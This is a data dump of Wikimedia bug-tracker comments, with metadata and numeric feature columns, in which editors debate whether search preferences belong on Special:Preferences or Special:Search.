http://en.wikipedia.beta.wmflabs.org/w/index.php?title=Special:Search&search=&fulltext=Search&profile=advanced",,,1401786703,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.5,0.0,0.0,0.3333333333333333,0.8333333333333334,6.0,0.5,0.3333333333333333,0.0,0.16666666666666666,1.3333333333333333,1.0,0.0,0.16666666666666666,0.3333333333333333,2.0,0.0,4.5,7.5,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.16666666666666666,0.3333333333333333,0.0,3.8333333333333335,1.3333333333333333,1.1666666666666667,0.6666666666666666,0.16666666666666666,0.16666666666666666,0.0,0.16666666666666666,0.16666666666666666,0.0,0.0,0.16666666666666666,3.5,0.0,0.0,0.0,0.0,0.16666666666666666,12.666666666666666,0.3333333333333333,0.3333333333333333,0.16666666666666666,0.3333333333333333,0.0,0.0,0.16666666666666666,0.0,0.8333333333333334,0.0,0.16666666666666666,1.0,0.0,0.0,0.0,0.0,0.0,5.166666666666667,1.5,10.0,1.3333333333333333,2.8333333333333335,6.333333333333333,0.0,0.0,0.3333333333333333,0.16666666666666666,3.1666666666666665,0.16666666666666666,1.0,0.0,3.5,7.5,3.8333333333333335,0.16666666666666666,1.6666666666666667,0.0,3.5,0.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.8333333333333334,3.72623828647925,0.7210986804360299,"I fall right in the middle of this disagreement. Here's some notes, and an idea.

There are good reasons to have the search-option-preferences in both locations (eg. easier-discoverability for newcomers, familiarity for oldtimers), 
and there are good reasons to centralize/unduplicate at a single location (with Special:Search->Advanced being the reasonable contender because the options-list *has* to appear there).

We do need easy-discoverability for newcomers. 
Searching for help documentation is HELL unless we add the Wikipedia: , Help: , and Template: namespaces to our default search. For the first few years as a new editor, I was constantly searching those namespaces for tools and guides. (Note that the Template: and Category: namespaces aren't included in the ""Help and Project pages"" output)

I'm surprised that we don't already have a link to [[Special:Preferences#mw-prefsection-searchoptions]] anywhere at [[Special:Search]] (advanced tab or otherwise)! How did we miss that, for so long?!  Forest, trees.

I do also prefer the simple process for ""Save"" at Special:Preferences. It's not perfect (see bug 55966), but it's fairly intuitive. 
The new system isn't intuitive. (It makes sense once explained, but an explanation is needed...)
I think the problem with the new version, is the physical distance, or dis-connection, of the checkbox from the search button... 


So, 2 fuzzy/rough suggestions:

A) Add a new Blue ""Save selection as my default, and Search"" button, at the advanced-search tab, instead of the new ""Remember selection for future searches"" checkbox line. 

B) leave the ""Search"" tab at Special:Preferences, but 
B.1) just link to Special:Search->Advanced from within it.   
B.2) Or, when clicked, have it open Special:Search->Advanced in a new tab/window.   (New tab, because the user might have other unsaved preference-changes, so we can't change the current page. (cf. bug 55966))  
Either of these would solve the issues of discoverability and change-aversion.  Yes, it'll still leave an annoyingly almost-empty tab, but it's *way* better than the current/old layout, ie. comment #0

--

All 4 links, for your quick comparison:
URL
URL
URL
URL"
257345,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Amgine from comment #36)
> This sounds so much like a solution looking for a problem.

It was 50/50 that you were going to say that. The other option was ""if it ain't broke don't fix it"". Both are useless clichés. 

Your comments are dripping with ""me, me, me"" privilege-based assumptions. Luckily, MediaWiki development is not based around avoiding advanced users having to have the minor inconvenience of learning a small interface change.",,,1401783456,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,0.0,1.0,3.0,8.0,2.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,3.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,1.0,6.0,1.0,3.0,5.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.0,7.0,10.0,1.0,0.0,6.0,0.0,0.0,0.0,1.0,3.0,0.0,2.0,0.0,9.0,10.0,3.0,0.0,5.0,0.0,9.0,0.0,1.0,1.0,3.0,5.0,0.0,0.0,0.0,3.8735632183908044,0.7701149425287356,"(In reply to Amgine from comment #36)
QUOTE

It was 50/50 that you were going to say that. The other option was ""if it ain't broke don't fix it"". Both are useless clichés. 

Your comments are dripping with ""me, me, me"" privilege-based assumptions. Luckily, MediaWiki development is not based around avoiding advanced users having to have the minor inconvenience of learning a small interface change."
257340,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to billinghurst from comment #37)
> my
> issue is that Preferences = Preferences

Too bad this assumption is incorrect. We have plenty of preferences which have never been controlled by Special:Preferences, look https://www.mediawiki.org/w/api.php?action=query&meta=userinfo&uiprop=options&format=jsonfm again.
Not to speak of all the preferences which are not even stored in the database, but instead on cookies or URL parameters (hence bookmarks at best).",,,1401778605,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,48,,1.0,0.0,0.0,3.0,3.0,3.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,12.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,1.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,4.0,14.0,0.0,3.0,8.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,1.0,14.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.069444444444445,0.7916666666666666,"(In reply to billinghurst from comment #37)
QUOTE
QUOTE

Too bad this assumption is incorrect. We have plenty of preferences which have never been controlled by Special:Preferences, look URL again.
Not to speak of all the preferences which are not even stored in the database, but instead on cookies or URL parameters (hence bookmarks at best)."
257336,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to MZMcBride from comment #35)
> (In reply to Amgine from comment #21)
> > Sucks as UX. Do we really want every special page to be creating and
> > maintaining its own interface for user preferences?
> 
> We want sensible defaults and intuitive, easy-to-use interfaces. For most
> users, there shouldn't be a need to customize the default search settings.
> If many users are customizing their search settings, we're doing something
> wrong. For the few users who want to customize their search preferences,
> there's now a checkbox in the same place as search. This seems like a good
> thing to me.

Nobody has argued about sensible defaults, nor the ability for communities to be able to adjust and modify. I don't see how that introduction is relevant.
 
> Because there's now an additional checkbox that controls per-user search
> preferences, we can de-duplicate the listing at Special:Preferences, which
> makes for a cleaner user preferences interface (increased signal, decreased
> noise). This also seems like a good thing to me.

In fact if you follow that logic, we are now cluttering up a search page with an option that is going to be used rarely or not at all, and maybe by a small subset of people ...  Making visible an option that is probably used zero times by most user, and maybe once or two by a small number of users. That is perverse.

> Perhaps a pointer from Special:Preferences to Special:Search would be
> helpful, but I'm not sure it's needed and I'm not sure where it would
> appropriately go.

Or it could be '''at''' the search page that it says something the lines of ""Save this criteria to be your default"" and have a link to Special:Preferences.

I have no specific issue with an improvement or option at Special:Search, my issue is that Preferences = Preferences and I expect to be able to go there and to be able to set my preferences for search.",,,1401778330,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,4.0,2.6666666666666665,0.0,0.0,0.3333333333333333,0.6666666666666666,2.0,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,4.0,12.0,0.6666666666666666,3.3333333333333335,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,4.333333333333333,0.6666666666666666,0.6666666666666666,1.3333333333333333,0.6666666666666666,0.0,0.0,1.0,0.0,0.3333333333333333,0.0,0.6666666666666666,2.6666666666666665,0.0,2.0,0.3333333333333333,0.6666666666666666,0.0,11.0,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,1.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,3.6666666666666665,4.333333333333333,12.333333333333334,1.6666666666666667,4.0,5.666666666666667,0.0,0.0,0.0,0.3333333333333333,5.0,0.0,1.0,0.0,4.0,12.0,6.333333333333333,0.0,1.6666666666666667,0.0,4.0,0.0,1.0,2.6666666666666665,0.0,1.0,0.0,0.3333333333333333,0.0,3.600877192982457,0.6491228070175438,"(In reply to MZMcBride from comment #35)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Nobody has argued about sensible defaults, nor the ability for communities to be able to adjust and modify. I don't see how that introduction is relevant.
 
QUOTE
QUOTE
QUOTE
QUOTE

In fact if you follow that logic, we are now cluttering up a search page with an option that is going to be used rarely or not at all, and maybe by a small subset of people ...  Making visible an option that is probably used zero times by most user, and maybe once or two by a small number of users. That is perverse.

QUOTE
QUOTE
QUOTE

Or it could be '''at''' the search page that it says something the lines of ""Save this criteria to be your default"" and have a link to Special:Preferences.

I have no specific issue with an improvement or option at Special:Search, my issue is that Preferences = Preferences and I expect to be able to go there and to be able to set my preferences for search."
257330,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","**wmf.amgine3691** wrote:

Would those 'few users' happen to be the experienced wikimedians (like those who have piped up here)? the ones who know (well, knew) where to modify their user preferences?

This sounds so much like a solution looking for a problem.",,,1401772870,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,3.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,3.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,2.0,10.0,0.0,3.0,3.0,0.0,2.0,0.0,5.0,3.0,0.0,2.0,0.0,0.0,0.0,3.7288135593220337,0.7627118644067796,"**wmf.amgine3691** wrote:

Would those 'few users' happen to be the experienced wikimedians (like those who have piped up here)? the ones who know (well, knew) where to modify their user preferences?

This sounds so much like a solution looking for a problem."
257326,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Amgine from comment #21)
> Sucks as UX. Do we really want every special page to be creating and
> maintaining its own interface for user preferences?

We want sensible defaults and intuitive, easy-to-use interfaces. For most users, there shouldn't be a need to customize the default search settings. If many users are customizing their search settings, we're doing something wrong. For the few users who want to customize their search preferences, there's now a checkbox in the same place as search. This seems like a good thing to me.

Because there's now an additional checkbox that controls per-user search preferences, we can de-duplicate the listing at Special:Preferences, which makes for a cleaner user preferences interface (increased signal, decreased noise). This also seems like a good thing to me.

Perhaps a pointer from Special:Preferences to Special:Search would be helpful, but I'm not sure it's needed and I'm not sure where it would appropriately go.",,,1401766548,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1.0,0.5,0.0,0.0,1.5,8.0,1.0,0.5,0.0,0.5,1.5,2.0,0.0,0.0,1.5,3.5,0.5,5.0,11.0,0.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,7.0,0.0,1.0,1.0,0.0,1.0,0.5,1.0,0.0,0.0,1.0,1.0,0.5,0.0,0.5,0.0,0.5,0.0,18.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,5.5,1.5,10.5,1.5,1.5,7.5,0.0,0.0,0.0,0.5,4.0,0.0,0.5,0.0,6.0,11.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,3.5,1.0,1.0,0.5,0.5,0.0,4.033205924510272,0.7049689440993789,"(In reply to Amgine from comment #21)
QUOTE
QUOTE

We want sensible defaults and intuitive, easy-to-use interfaces. For most users, there shouldn't be a need to customize the default search settings. If many users are customizing their search settings, we're doing something wrong. For the few users who want to customize their search preferences, there's now a checkbox in the same place as search. This seems like a good thing to me.

Because there's now an additional checkbox that controls per-user search preferences, we can de-duplicate the listing at Special:Preferences, which makes for a cleaner user preferences interface (increased signal, decreased noise). This also seems like a good thing to me.

Perhaps a pointer from Special:Preferences to Special:Search would be helpful, but I'm not sure it's needed and I'm not sure where it would appropriately go."
257320,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","**wmf.amgine3691** wrote:

Ah, but then how simple it is to alter the settings is also out of scope.

My opinion is the people most familiar with the software are those most likely to wish to modify their search preferences. For those users, their user preferences are the most-likely first place to look to alter their user preferences. That would meet most 'least surprise' requirements. Being able to alter the search prefs elsewhere, as Isarra says, would be very cool. Being unable to set the search prefs via the least surprising interface would, in my opinion, not be cool.",,,1401732710,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,1.0,0.0,1.0,8.5,6.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,1.5,0.0,6.5,9.5,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,3.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.5,0.0,0.0,0.0,14.0,1.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,6.0,5.0,0.5,0.5,6.5,0.0,0.0,0.0,0.0,7.5,0.5,0.5,0.0,3.5,9.5,1.0,0.0,1.5,0.0,3.5,0.0,0.5,0.0,0.0,0.0,0.0,4.0,0.0,4.009016393442623,0.6610655737704918,"**wmf.amgine3691** wrote:

Ah, but then how simple it is to alter the settings is also out of scope.

My opinion is the people most familiar with the software are those most likely to wish to modify their search preferences. For those users, their user preferences are the most-likely first place to look to alter their user preferences. That would meet most 'least surprise' requirements. Being able to alter the search prefs elsewhere, as Isarra says, would be very cool. Being unable to set the search prefs via the least surprising interface would, in my opinion, not be cool."
257315,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself",How well those features work is a valid question but it's out of scope for this discussion.,,,1401732312,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.9473684210526314,1.0,How well those features work is a valid question but it's out of scope for this discussion.
257311,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","**wmf.amgine3691** wrote:

(In reply to Scott Martin from comment #31)
> (In reply to Scott Martin from comment #28)
> > To get to Special:Search you click the magnifying glass
> > icon in the search box.
> 
> Or search for nothing. Sorry for two posts in rapid succession, remembered
> that a moment too late. (And also had the thought that maybe the magnifying
> glass thing is a skin-specific feature.)

Cool! and of course you have evidence that people just do this, intuitively.",,,1401731393,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,12.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,2.0,10.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.68,"**wmf.amgine3691** wrote:

(In reply to Scott Martin from comment #31)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Cool! and of course you have evidence that people just do this, intuitively."
257305,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Scott Martin from comment #28)
> To get to Special:Search you click the magnifying glass
> icon in the search box.

Or search for nothing. Sorry for two posts in rapid succession, remembered that a moment too late. (And also had the thought that maybe the magnifying glass thing is a skin-specific feature.)",,,1401727475,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,14.0,4.0,4.0,7.0,0.0,0.0,0.0,2.0,2.0,2.0,4.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.75,0.8214285714285714,"(In reply to Scott Martin from comment #28)
QUOTE
QUOTE

Or search for nothing. Sorry for two posts in rapid succession, remembered that a moment too late. (And also had the thought that maybe the magnifying glass thing is a skin-specific feature.)"
257299,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Nemo from comment #29)
> (In reply to Isarra from comment #27)
> > Ideally we'd have some way to automatically dump settings that appear in the
> > interface elsewhere into main preferences just by telling it 'OY LOOK A
> > SETTING'.
> 
> That's exactly what we did.
> 
> > 
> > May also want a separate page of 'all settings' or 'advanced settings'
> 
> We have it:
> https://www.mediawiki.org/w/api.
> php?action=query&meta=userinfo&uiprop=options&format=jsonfm

Oh, neat! Very nice.",,,1401727366,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,39.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,7.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8636363636363638,0.45454545454545453,"(In reply to Nemo from comment #29)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Oh, neat! Very nice."
257293,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Isarra from comment #27)
> Ideally we'd have some way to automatically dump settings that appear in the
> interface elsewhere into main preferences just by telling it 'OY LOOK A
> SETTING'.

That's exactly what we did.

> 
> May also want a separate page of 'all settings' or 'advanced settings'

We have it: https://www.mediawiki.org/w/api.php?action=query&meta=userinfo&uiprop=options&format=jsonfm",,,1401727218,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,48,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9705882352941178,0.7352941176470589,"(In reply to Isarra from comment #27)
QUOTE
QUOTE
QUOTE

That's exactly what we did.

QUOTE
QUOTE

We have it: URL"
257286,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Amgine from comment #26)
> The suggested model is not as simple as Scott Martin describes it. 

Actually, it is. To get to Special:Search you click the magnifying glass icon in the search box.",,,1401727194,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,20.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,6.0,17.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.9142857142857143,"(In reply to Amgine from comment #26)
QUOTE

Actually, it is. To get to Special:Search you click the magnifying glass icon in the search box."
257279,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Ideally we'd have some way to automatically dump settings that appear in the interface elsewhere into main preferences just by telling it 'OY LOOK A SETTING'.

May also want a separate page of 'all settings' or 'advanced settings' for a lot of them (it could also appear collapsed or something by default - the point is while this is often not the stuff folks will necessarily be after, it should be there somewhere in case they are), sort of like the extra 'config' heap you see in firefox and whatnot, but hopefully somewhat easier to find and use.",,,1401726928,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1.0,1.0,0.0,0.0,1.0,4.0,2.0,0.0,0.0,0.0,2.5,5.5,0.0,1.0,0.0,0.5,0.0,11.0,10.5,1.0,1.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,4.5,2.0,2.0,0.0,1.0,1.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,11.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.5,0.0,4.5,4.5,3.0,1.0,4.0,6.5,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,4.5,10.5,1.0,0.0,5.0,0.0,4.5,0.0,0.5,1.5,0.5,0.5,1.0,0.0,0.0,3.9470659407138537,0.8176043557168784,"Ideally we'd have some way to automatically dump settings that appear in the interface elsewhere into main preferences just by telling it 'OY LOOK A SETTING'.

May also want a separate page of 'all settings' or 'advanced settings' for a lot of them (it could also appear collapsed or something by default - the point is while this is often not the stuff folks will necessarily be after, it should be there somewhere in case they are), sort of like the extra 'config' heap you see in firefox and whatnot, but hopefully somewhat easier to find and use."
257271,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","**wmf.amgine3691** wrote:

@Isarra

So you are saying ""both-and"", not ""eliminate one""? This would probably result in duplication of code and maintenance (which is one of my arguments against moving the preferences in the first place.)

The suggested model is not as simple as Scott Martin describes it. Although setting the preference is top menu -> special: preferences -> tab, this is simpler than tools menu -> special:specialpages -> search -> settings because search is not readily found in the special:specialpages page. Yes, *if one has already done a search* you are already on the page, but if you have not, you aren't. I just attempted to land on search from the search box: foo, qux, and quux are redirs, foobar is an article, baz and asdf are disambigs, and foobaz gets me to search.",,,1401726027,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,0.0,0.5,2.5,3.0,2.0,0.5,0.5,1.0,2.5,0.5,0.0,0.0,0.0,1.5,0.0,6.5,9.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,8.5,0.5,0.5,1.5,2.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,1.5,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,5.0,6.0,4.5,2.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.5,1.0,0.0,5.0,9.0,4.0,0.5,2.0,0.0,5.0,0.0,0.5,1.0,0.5,1.5,0.5,0.0,1.5,3.7111111111111112,0.6388888888888888,"**wmf.amgine3691** wrote:
SCREEN_NAME

So you are saying ""both-and"", not ""eliminate one""? This would probably result in duplication of code and maintenance (which is one of my arguments against moving the preferences in the first place.)

The suggested model is not as simple as Scott Martin describes it. Although setting the preference is top menu -> special: preferences -> tab, this is simpler than tools menu -> special:specialpages -> search -> settings because search is not readily found in the special:specialpages page. Yes, *if one has already done a search* you are already on the page, but if you have not, you aren't. I just attempted to land on search from the search box: foo, qux, and quux are redirs, foobar is an article, baz and asdf are disambigs, and foobaz gets me to search."
257264,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","I guess there are two things here.

1: Users will primarily care about preferences affecting a specific page when on that specific page. They will be able to most effectively see the effects when on that page, too, so giving them the option to save what works when they're there, seeing that it works, is generally quite useful.

2: Users do tend to expect to find preferences in preferences. A common practice, especially for users who have used the software before but are on a new project, is to go through all of them and quickly configure things how they like them, or think they will. Alternately, if they want to go back and disable something after it behaves weirdly, or if another user tells them to change a setting, the preferences are a likely place to go for that.

Yes.",,,1401722233,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.5,0.5,0.0,0.0,0.0,4.0,2.5,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,10.5,12.0,0.5,4.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,9.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,10.5,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,1.0,1.5,0.5,0.0,5.0,3.5,4.0,4.0,3.0,8.0,0.0,0.0,0.0,0.0,7.0,0.5,1.5,0.0,7.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,2.5,1.5,0.0,0.5,0.0,3.9390243902439024,0.6951219512195121,"I guess there are two things here.

1: Users will primarily care about preferences affecting a specific page when on that specific page. They will be able to most effectively see the effects when on that page, too, so giving them the option to save what works when they're there, seeing that it works, is generally quite useful.

2: Users do tend to expect to find preferences in preferences. A common practice, especially for users who have used the software before but are on a new project, is to go through all of them and quickly configure things how they like them, or think they will. Alternately, if they want to go back and disable something after it behaves weirdly, or if another user tells them to change a setting, the preferences are a likely place to go for that.

Yes."
